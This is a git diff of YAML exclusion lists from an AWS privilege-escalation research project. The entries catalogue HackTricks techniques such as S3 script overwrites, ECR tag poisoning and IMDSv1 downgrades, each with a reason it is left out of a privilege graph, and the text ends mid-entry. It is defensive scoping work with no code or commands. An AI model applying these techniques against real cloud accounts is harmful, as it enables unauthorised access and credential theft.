src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md#cognito-idpadduserpoolclientsecret--inject-an-m2m-application-credential + technique: cognito-idp:AddUserPoolClientSecret + reason: Client-credentials (M2M) tokens grant OAuth scopes to resource servers, not identity-pool AWS roles (identity pools accept user tokens). Application-level impact only. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md#cognito-idpcreateuserpoolclient--cognito-idpupdateuserpoolclient + technique: cognito-idp:CreateUserPoolClient / UpdateUserPoolClient + reason: Relaxes client settings (flows, scopes); still needs user credentials to obtain tokens. Application-level. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md#cognito-sync-analysis + technique: Cognito Sync analysis + reason: Data access / tooling notes, no identity gain. + +# --- Directory Service --- +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc/README.md#aws-management-console + technique: Directory console access (descriptive) + reason: Descriptive console-access section with no separate IAM action or resource. The directory password-reset route remains a conditional candidate until the exact directory, user and resulting authority are joined. + +# --- Amplify --- +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-amplify-privesc/README.md#amplifygetapp-amplifygetbranch-amplifylistapps-amplifylistbranches-amplifygetjob--read-deployment-variables-and-build-logs + technique: Read deployment variables and build logs + reason: Pure data read (secrets exposure); Least Privilege / Exposure. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-amplify-post-exploitation/README.md#amplifygetartifacturl--download-end-to-end-test-artifacts + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-amplify-privesc/README.md#amplifygetartifacturl--download-end-to-end-test-artifacts + technique: amplify:GetArtifactUrl + reason: Pure data read. + +# --- API Gateway --- + source_revision: 1fb542ff27 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc/README.md#apigatewaypost + technique: apigateway:POST (API keys) + reason: Creates API keys for API access; application-level, no IAM identity. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation/README.md#apigatewayget + source_revision: f2aa915198 + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc/README.md#apigatewayget + technique: apigateway:GET + reason: Pure data read (API keys). +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation/README.md#apigatewayupdaterestapipolicy--apigatewaypatch + source_revision: fd7d56b0a9 + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc/README.md#apigatewayupdaterestapipolicy--apigatewaypatch + technique: apigateway:UpdateRestApiPolicy / PATCH + reason: Opens API invocation (resource policy); application access, not an IAM principal. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc/README.md#apigatewaypatch-apigatewaypost + technique: apigateway:PATCH + POST (authorizer/integration changes) + reason: Bypasses API authorization of backend apps; application-level, no IAM identity gained. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc/README.md#http-apis--apigatewayv2-variant + technique: HTTP APIs (apigatewayv2) variant + reason: Same application-level authorizer/route manipulation as REST variant. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc/README.md#apigatewaypatch-on-a-rest-vpc-link-does-not-permit-nlb-redirection + technique: apigateway:PATCH on a REST VPC link + reason: HackTricks itself documents this as not exploitable. + +# --- App Runner --- +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc/README.md#apprunnerdescribeservice--read-plaintext-runtime-variables + technique: apprunner:DescribeService + reason: Pure data read (plaintext env vars). +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc/README.md#mutable-private-ecr-tag-with-automatic-deployments + technique: Mutable ECR tag with App Runner automatic deployments + reason: Restored as aws-apprunner-mutable-ecr-autodeploy with an exact same-account repository, watched mutable tag, automatic deployment, push permissions and instance-role join. + +# --- Batch --- +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-batch-privesc/README.md#mutable-ecr-tag-poisoning-of-an-existing-job-definition + technique: Mutable ECR tag poisoning of a job definition + reason: Replacing a mutable ECR tag does not prove that an existing Batch job definition will consume the new image or run it under a recorded role. The ECR-to-job-definition and execution joins remain unverified. + +# --- Chime --- +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-chime-sdk-post-exploitation/README.md#legacy-amazon-chime-createapikey-retired + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc/README.md#legacy-chimecreateapikey + historical_source_revision: 171e422299 + source_revision: 3ad99dc7ac + technique: chime:CreateApiKey + reason: Creates a SCIM key for an Amazon Chime account (application-level, no IAM identity); HackTricks marks it TODO and AWS ended Amazon Chime support on 2026-02-20. + +# --- CloudFormation --- +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudformation-trigger-post-exploitation/README.md#cloudformationexecutechangeset-on-a-pre-staged-change-set + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md#cloudformationexecutechangeset-on-a-pre-staged-change-set + source_revision: 3ad99dc7ac + technique: cloudformation:ExecuteChangeSet on a pre-staged change set + reason: The source executes content it did not author; it only triggers an already-reviewed change. No attacker-controlled code under the role. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudformation-trigger-post-exploitation/README.md#cloudformationsignalresource--release-a-stack-waiting-on-a-success-signal + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md#cloudformationsignalresource--release-a-stack-waiting-on-a-success-signal + source_revision: 3ad99dc7ac + technique: cloudformation:SignalResource + reason: Releases a gate for a fixed workload; no attacker-controlled execution under the role. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md#aws-cdk + technique: AWS CDK bootstrap roles + reason: CDK bootstrap roles are regular roles whose reachability is covered by sts:AssumeRole and CloudFormation PassRole entries. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md#determining-the-role-names + technique: CDK role-name discovery + reason: Reconnaissance only. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md#adding-malicious-code-to-the-project-source + technique: Poisoning CDK project source + reason: Source-repository write outside AWS IAM; not evaluable from the AWS snapshot. + +# --- CloudFront --- +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation/README.md#cloudfrontupdatedistribution--cloudfrontgetdistributionconfig + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudfront-privesc/README.md#cloudfrontupdatedistribution--cloudfrontgetdistributionconfig + technique: cloudfront:UpdateDistribution (origin change) + reason: Traffic/content hijack of end users; no IAM identity gained. + source_revision: 1fb542ff27 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation/README.md#cloudfrontcreatefunction-cloudfrontdescribefunction-cloudfrontpublishfunction-cloudfrontgetdistributionconfig--cloudfrontupdatedistribution + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudfront-privesc/README.md#cloudfrontcreatefunction-cloudfrontdescribefunction-cloudfrontpublishfunction-cloudfrontgetdistributionconfig--cloudfrontupdatedistribution + technique: CloudFront Functions injection + reason: CloudFront Functions have no IAM role; impact is on end-user traffic only. + +# --- CodeBuild --- + source_revision: 1fb542ff27 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc/README.md#codebuildretrybuild--re-execute-a-completed-build-under-its-stored-role + technique: codebuild:RetryBuild + reason: Replays the stored build configuration; the source controls nothing that runs under the role unless combined with source poisoning (modelled separately). +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc/README.md#ssm + technique: ssm:StartSession into CodeBuild sandboxes + reason: Cross-reference; SSM techniques are owned by ssm.yaml (part B), sandbox command execution is modelled as aws-codebuild-startcommandexecution. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc/README.md#codebuildbatchgetprojects-codebuildbatchgetbuilds--read-build-environment-values + technique: codebuild:BatchGetProjects / BatchGetBuilds + reason: Pure data read (plaintext env values). + +# --- CodePipeline --- +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc/README.md#codepipelinestartpipelineexecution--inject-a-v2-pipeline-variable + technique: Inject a V2 pipeline variable + reason: Value-only injection whose impact depends on pipeline action semantics; not generically evaluable. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc/README.md#codepipelineretrystageexecution--replay-a-failed-privileged-stage + technique: codepipeline:RetryStageExecution + reason: Replays a fixed workload; no attacker-controlled execution. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc/README.md#codepipelineenablestagetransition--release-an-execution-waiting-at-a-disabled-transition + technique: codepipeline:EnableStageTransition + reason: Gate release for a fixed workload. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc/README.md#codepipelineoverridestagecondition--bypass-an-active-stage-condition + technique: codepipeline:OverrideStageCondition + reason: Gate bypass for a fixed workload. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc/README.md#codepipelinerollbackstage--replay-a-prior-successful-stage-revision + technique: codepipeline:RollbackStage + reason: Replays a prior reviewed revision; no attacker-controlled execution. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc/README.md#codepipelineputapprovalresult--bypass-a-manual-gate + technique: codepipeline:PutApprovalResult + reason: Approval bypass only; becomes an escalation only combined with source poisoning (modelled separately). +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc/README.md#codepipelineputjobsuccessresult--bypass-a-zero-output-custom-action-gate + technique: codepipeline:PutJobSuccessResult + reason: Gate bypass for a fixed workload. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codepipeline-data-access-post-exploitation/README.md#codepipelinepollforjobs + source_revision: f2aa915198 + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc/README.md#codepipelinepollforjobs + technique: codepipeline:PollForJobs + reason: Steals custom-action job artifacts/credentials scoped to the pipeline artifact bucket; data access, not a role identity. + +# --- CodeStar (service discontinued) --- +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md#iampassrole-codestarcreateproject + technique: iam:PassRole + codestar:CreateProject + reason: AWS CodeStar was discontinued on 2024-07-31; the APIs are no longer available. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md#codestarcreateproject-codestarassociateteammember + technique: codestar:CreateProject + codestar:AssociateTeamMember + reason: AWS CodeStar discontinued (2024-07-31). +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md#codestarcreateprojectfromtemplate + technique: codestar:CreateProjectFromTemplate + reason: AWS CodeStar discontinued (2024-07-31). +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/codestar-createproject-codestar-associateteammember.md + technique: CodeStar CreateProject + AssociateTeamMember (sub-page) + reason: AWS CodeStar discontinued (2024-07-31). +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md + technique: CodeStar PassRole + CreateProject (sub-page) + reason: AWS CodeStar discontinued (2024-07-31). + +# --- DynamoDB --- +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc/README.md#dynamodbputresourcepolicy-and-optionally-dynamodbgetresourcepolicy + technique: dynamodb:PutResourcePolicy + reason: Grants the source data access to tables; data access, not a new identity. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc/README.md#post-exploitation + technique: Post exploitation cross-reference + reason: Cross-reference only. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md#todo-read-data-abusing-data-streams + source_revision: f2aa915198 + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc/README.md#todo-read-data-abusing-data-streams + technique: Read data via streams (TODO) + reason: Data read; unfinished section. + +# --- EBS --- +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md#ebslistsnapshotblocks-ebsgetsnapshotblock-ec2describesnapshots + source_revision: f2aa915198 + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc/README.md#ebslistsnapshotblocks-ebsgetsnapshotblock-ec2describesnapshots + technique: EBS direct snapshot reads + reason: Data read (credentials found on disks are not derivable from the snapshot). +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md#ec2createsnapshot + source_revision: f2aa915198 + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc/README.md#ec2createsnapshot + technique: ec2:CreateSnapshot + reason: Data access to volumes; no new identity. + +# --- EC2 --- +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md#replace-security-groups-on-a-running-instance + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md#replace-security-groups-on-a-running-instance + source_revision: 3ad99dc7ac + technique: ec2:ModifyInstanceAttribute (security groups) + reason: Network change only. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md#launch-template-and-auto-scaling-constraints + technique: Launch-template and Auto Scaling constraints + reason: Clarifying section (constraints); folded into ec2.yaml entries. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md#autoscalingsetdesiredcapacity--activate-a-stored-launch-template-and-instance-role + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md#autoscalingsetdesiredcapacity--activate-a-stored-launch-template-and-instance-role + source_revision: 3ad99dc7ac + technique: autoscaling:SetDesiredCapacity + reason: Starts a fixed stored workload; the source controls nothing that runs under the role. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md#ec2-instance-connectsendserialconsolesshpublickey + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md#ec2-instance-connectsendserialconsolesshpublickey + source_revision: 3ad99dc7ac + technique: ec2-instance-connect:SendSerialConsoleSSHPublicKey + reason: Serial console still requires a valid OS user password; not derivable from permissions (and serial console must be enabled account-wide). +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md#ec2describelaunchtemplateversions-ec2describelaunchtemplates-optional + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md#ec2describelaunchtemplateversions-ec2describelaunchtemplates-optional + source_revision: 3ad99dc7ac + technique: ec2:DescribeLaunchTemplateVersions + reason: Data read (secrets in user data). +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md#ec2modifyinstancemetadataoptions-imds-downgrade-to-enable-ssrf-credential-theft + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md#ec2modifyinstancemetadataoptions-imds-downgrade-to-enable-ssrf-credential-theft + source_revision: 3ad99dc7ac + technique: ec2:ModifyInstanceMetadataOptions (IMDSv1 downgrade) + reason: Requires a separate SSRF vulnerability in the instance's application; not derivable from the snapshot. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md#ec2modifyimageattribute-ec2modifysnapshotattribute + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md#ec2modifyimageattribute-ec2modifysnapshotattribute + source_revision: 3ad99dc7ac + technique: ec2:ModifyImageAttribute / ModifySnapshotAttribute + reason: Data sharing/exfiltration; no identity gain. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md#ec2getpassworddata + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md#ec2getpassworddata + source_revision: 3ad99dc7ac + technique: ec2:GetPasswordData + reason: Needs the key-pair private key; yields an OS login, whose instance-role reach depends on network access. Treated as data read. + +# --- ECR --- +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc/README.md#ecrgetauthorizationtoken-ecrbatchgetimage-ecrgetdownloadurlforlayer + technique: ECR image pull + reason: Data read. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc/README.md#global-registry-hijack-via-root-pull-through-cache-rule + technique: ROOT pull-through cache rule + reason: A ROOT prefix can affect future cache misses but does not replace existing repositories. The pull-through-cache route remains conditional on an absent repository, exact workload image path, controlled upstream and execution under a recorded role. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc/README.md#ecrputaccountsetting-registry-policy-scope + technique: ecr:PutAccountSetting (registry policy scope downgrade) + reason: HackTricks documents the V2-to-V1 downgrade as no longer supported. + +# --- ECS --- +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation/README.md#ecsupdateservice--reactivate-a-dormant-service-with-its-stored-task-role + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md#ecsupdateservice--reactivate-a-dormant-service-with-its-stored-task-role + source_revision: 3ad99dc7ac + technique: ecs:UpdateService (desired count only) + reason: Starts a fixed stored workload; no attacker-controlled execution under the role. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md#mutable-ecr-tag-consumed-by-an-ecs-service-deployment-digest-boundary + technique: Mutable ECR tag consumed by an ECS service + reason: ECS normally resolves an image tag to a digest for a deployment. Replacing the tag alone does not prove a service will start the new image under its task role; the exact repository, deployment trigger and task role must be joined. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md#runtime-command-overrides-with-iampassrole-and-ecsruntask + technique: Runtime command overrides with iam:PassRole + ecs:RunTask + reason: Duplicate of aws-ecs-passrole-runtask-overrides. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md#ssmstartsession + technique: ssm:StartSession (cross-reference) + reason: Owned by ssm.yaml (part B). +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md#iampassrole-ec2runinstances + technique: iam:PassRole + ec2:RunInstances (cross-reference) + reason: The general EC2 RunInstances and PassRole route is represented separately. Joining a launched instance to an ECS cluster and reaching another task role requires cluster registration, a compatible task and an exact execution foothold; that cross-reference remains a conditional candidate. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md#backdoor-compute-in-cluster-via-ecs-anywhere-external-registration + technique: ECS Anywhere EXTERNAL registration + reason: The task-definition and StartTask permissions are represented separately, but registering an ECS Anywhere host is not. A role edge also needs a connected, source-controlled EXTERNAL host, compatible task definition and exact task role; registration permission alone is insufficient. + +# --- General --- +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/README.md + technique: AWS privilege escalation index + reason: Index page, no techniques. + +# --- Merged / duplicate sections (kept for traceability) --- +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc/README.md#ssodetachmanagedpolicyfrompermissionset + technique: sso:DetachManagedPolicyFromPermissionSet + reason: Removing this policy grants no new rights by itself. A principal edge needs an exact assignment, successful provisioning and a demonstrated effective permission gain for a source-controlled identity. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc/README.md#ssodetachcustomermanagedpolicyreferencefrompermissionset + technique: sso:DetachCustomerManagedPolicyReferenceFromPermissionSet + reason: Removing this policy reference grants no new rights by itself. A principal edge needs an exact assignment, successful provisioning and a demonstrated effective permission gain for a source-controlled identity. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc/README.md#ssodeleteinlinepolicyfrompermissionset + technique: sso:DeleteInlinePolicyFromPermissionSet + reason: Deleting this inline policy grants no new rights by itself. A principal edge needs an exact assignment, successful provisioning and a demonstrated effective permission gain for a source-controlled identity. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md#automatic-tools + technique: Automatic tools + reason: Tooling references only. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md + technique: iam:PassRole + cloudformation:CreateStack + cloudformation:DescribeStacks (sub-page) + reason: Same edge as aws-cloudformation-passrole-createstack; DescribeStacks only reads outputs. diff --git a/src/privilege-escalation-paths-research/aws/_excluded_agentcore_bounded_surfaces_20261022.yaml b/src/privilege-escalation-paths-research/aws/_excluded_agentcore_bounded_surfaces_20261022.yaml new file mode 100644 index 0000000000..6ebf6149ae --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/_excluded_agentcore_bounded_surfaces_20261022.yaml @@ -0,0 +1,9 @@ +# Browser and gateway roles need an exact caller-controlled action before they become privilege edges. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-agentcore-privesc/README.md#bedrock-agentcorecreatecodeinterpreter--createbrowser-iampassrole--sandbox-actions-with-an-execution-role + source_revision: e350a39af5 + technique: Drive an AgentCore browser with a passed execution role + reason: CreateBrowser and InvokeBrowser give browser automation, not the arbitrary code action supplied by InvokeCodeInterpreter. A role edge needs a concrete browser operation that lets the source obtain credentials or perform a role-authorized action, plus exact browser and role permission joins. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-agentcore-privesc/README.md#bedrock-agentcoreupdateagentruntime--updategateway-iampassrole--change-an-existing-resources-role + source_revision: e350a39af5 + technique: Change an AgentCore gateway role and invoke a target under it + reason: UpdateGateway can change the service role, but the role is used only for configured target calls. A privilege edge needs a caller-invokable exact gateway target whose operation can use the newly allowed permission, plus target authorization, trust, PassRole and exact gateway grants. diff --git a/src/privilege-escalation-paths-research/aws/_excluded_apigateway_generic_integration.yaml b/src/privilege-escalation-paths-research/aws/_excluded_apigateway_generic_integration.yaml new file mode 100644 index 0000000000..c3705af3fe --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/_excluded_apigateway_generic_integration.yaml @@ -0,0 +1,5 @@ +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc/README.md#apigatewayput-apigatewaypost-and-sometimes-iampassrole + source_revision: 171e422299 + technique: Pass a role to a REST API AWS-service integration and invoke it + reason: The demonstrated Lambda integration permits invocation of a named function when the integration role allows it; it does not give the caller that role's other permissions or the function's execution role. The generic catalog entry did not bind a specific AWS action and resource that would cause privilege escalation. Reintroduce only an exact supported integration action and a proved path to greater authority. + prior_id: aws-apigateway-integration-credentials-passrole diff --git a/src/privilege-escalation-paths-research/aws/_excluded_app_plane_subject_strict_reaudit_20261016.yaml b/src/privilege-escalation-paths-research/aws/_excluded_app_plane_subject_strict_reaudit_20261016.yaml new file mode 100644 index 0000000000..889afa5fd7 --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/_excluded_app_plane_subject_strict_reaudit_20261016.yaml @@ -0,0 +1,19 @@ +# Exact originals: docs/privesc-ledgers/aws-scope-archive-20261016/app-plane-subject-strict-re-audit.yaml.txt. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-connect-privesc/README.md#grant-admin-through-security-profile-mutation + source_revision: 171e422299 + technique: Grant Connect Admin through security-profile assignment or mutation + reason: The source can change a security profile or assignment, but no Connect user + it controls and can sign into is joined to that change. + prior_id: aws-connect-security-profile-admin +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-managed-grafana-privesc/README.md#grafanaupdatepermissions--iam-identity-center-administrator + source_revision: b587e6bd26 + technique: Grant a controlled Identity Center identity Grafana administrator access + reason: UpdatePermissions can grant ADMIN to an Identity Center identity, but the + source is not proved to control a credentialed member of that user/group. + prior_id: aws-grafana-updatepermissions-sso-admin +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-quicksight-privesc/README.md#quicksightupdateuser--self-promote-to-admin + source_revision: 171e422299 + technique: Promote a controlled QuickSight user to ADMIN + reason: UpdateUser can promote any QuickSight user, but the source is not proved + to control the promoted user or its sign-in. + prior_id: aws-quicksight-updateuser-admin diff --git a/src/privilege-escalation-paths-research/aws/_excluded_artifact_join_strict_reaudit_20261016.yaml b/src/privilege-escalation-paths-research/aws/_excluded_artifact_join_strict_reaudit_20261016.yaml new file mode 100644 index 0000000000..852e153a50 --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/_excluded_artifact_join_strict_reaudit_20261016.yaml @@ -0,0 +1,83 @@ +# Exact originals: docs/privesc-ledgers/aws-scope-archive-20261016/artifact-join-strict-re-audit.yaml.txt. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md#s3putobject-on-configured-training-or-processing-code-job-creation-optional + source_revision: 171e422299 + technique: Overwrite S3 code consumed by existing SageMaker training or processing jobs + reason: 'The s3_object artifact is not joined to an exact consuming resource and role: the AWS + evaluator does not implement via_artifact_type or resolve target.artifact_arn. Writing the + artifact alone cannot establish a principal-to-principal path.' + prior_id: aws-sagemaker-s3-putobject-job-code +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md#ecrputimage-on-a-mutable-processing-image-later-job-required + source_revision: a66f094ede + technique: Replace a mutable ECR image consumed by a later SageMaker Processing job + reason: 'The ecr_repository artifact is not joined to an exact consuming resource and role: + the AWS evaluator does not implement via_artifact_type or resolve target.artifact_arn. Writing + the artifact alone cannot establish a principal-to-principal path.' + prior_id: aws-sagemaker-ecr-putimage-processing-image +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mwaa-privesc/README.md#write-a-dag-file-into-an-mwaa-environments-dag-bucket-and-run-code-as-its-execution-role + source_revision: b587e6bd26 + technique: Write a DAG file into an MWAA environment's DAG bucket and run code as its execution + role + reason: 'The s3_object artifact is not joined to an exact consuming resource and role: the AWS + evaluator does not implement via_artifact_type or resolve target.artifact_arn. Writing the + artifact alone cannot establish a principal-to-principal path.' + prior_id: aws-mwaa-s3-putobject-dag +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md#ssmupdatedocument-ssmupdatedocumentdefaultversion-ssmlistdocuments--ssmgetdocument + source_revision: 171e422299 + technique: Modify a custom SSM document already executed by associations or maintenance windows + reason: 'The ssm_document artifact is not joined to an exact consuming resource and role: the + AWS evaluator does not implement via_artifact_type or resolve target.artifact_arn. Writing + the artifact alone cannot establish a principal-to-principal path.' + prior_id: aws-ssm-updatedocument-defaultversion +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc/README.md#s3putobject-on-a-configured-bootstrap-or-step-script + source_revision: 171e422299 + technique: Overwrite an S3 bootstrap action or step script used by EMR + reason: 'The caller must be able to replace the exact current S3 object referenced by a + configured EMR bootstrap action or step. That script must still be downloaded and run by + a later cluster creation or step on an EMR cluster with an identified EC2 instance profile; + the separate EMR service role is not the target. The current evaluator neither joins the + object to that consuming bootstrap action or step and instance profile nor proves a later + execution trigger. A bare s3:PutObject grant cannot establish a principal-to-principal path.' + prior_id: aws-emr-s3-putobject-bootstrap-or-step-script +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc/README.md#create-or-modify-and-run-a-glue-job + source_revision: 171e422299 + technique: Overwrite the S3 script or dependency of an existing Glue job + reason: 'The s3_object artifact is not joined to an exact consuming resource and role: the AWS + evaluator does not implement via_artifact_type or resolve target.artifact_arn. Writing the + artifact alone cannot establish a principal-to-principal path.' + prior_id: aws-glue-s3-putobject-job-script +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md#s3putbucketnotification-s3putobject-s3getobject + source_revision: 171e422299 + technique: Race-replace CloudFormation templates uploaded to a template bucket + reason: 'The s3_object artifact is not joined to an exact consuming resource and role: the AWS + evaluator does not implement via_artifact_type or resolve target.artifact_arn. Writing the + artifact alone cannot establish a principal-to-principal path.' + prior_id: aws-s3-cloudformation-template-hijack +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md#s3putobject-s3getobject + source_revision: 6fb9ac51fd + technique: Replace an S3 object fetched and run by an EC2 managed node + reason: 'The s3_object artifact is not joined to an exact consuming resource and role: the AWS + evaluator does not implement via_artifact_type or resolve target.artifact_arn. Writing the + artifact alone cannot establish a principal-to-principal path.' + prior_id: aws-s3-putobject-ec2-userdata-object +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md#s3putobject-s3getobject-optional-over-terraform-state-file + source_revision: 171e422299 + technique: Tamper with a Terraform state file consumed by a pipeline + reason: 'The terraform_state_object artifact is not joined to an exact consuming resource and + role: the AWS evaluator does not implement via_artifact_type or resolve target.artifact_arn. + Writing the artifact alone cannot establish a principal-to-principal path.' + prior_id: aws-s3-putobject-terraform-state +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc/README.md#elasticbeanstalkrebuildenvironment-s3-write-permissions--many-others + source_revision: 171e422299 + technique: Replace an environment's source bundle in S3 and rebuild it + reason: 'The s3_object artifact is not joined to an exact consuming resource and role: the AWS + evaluator does not implement via_artifact_type or resolve target.artifact_arn. Writing the + artifact alone cannot establish a principal-to-principal path.' + prior_id: 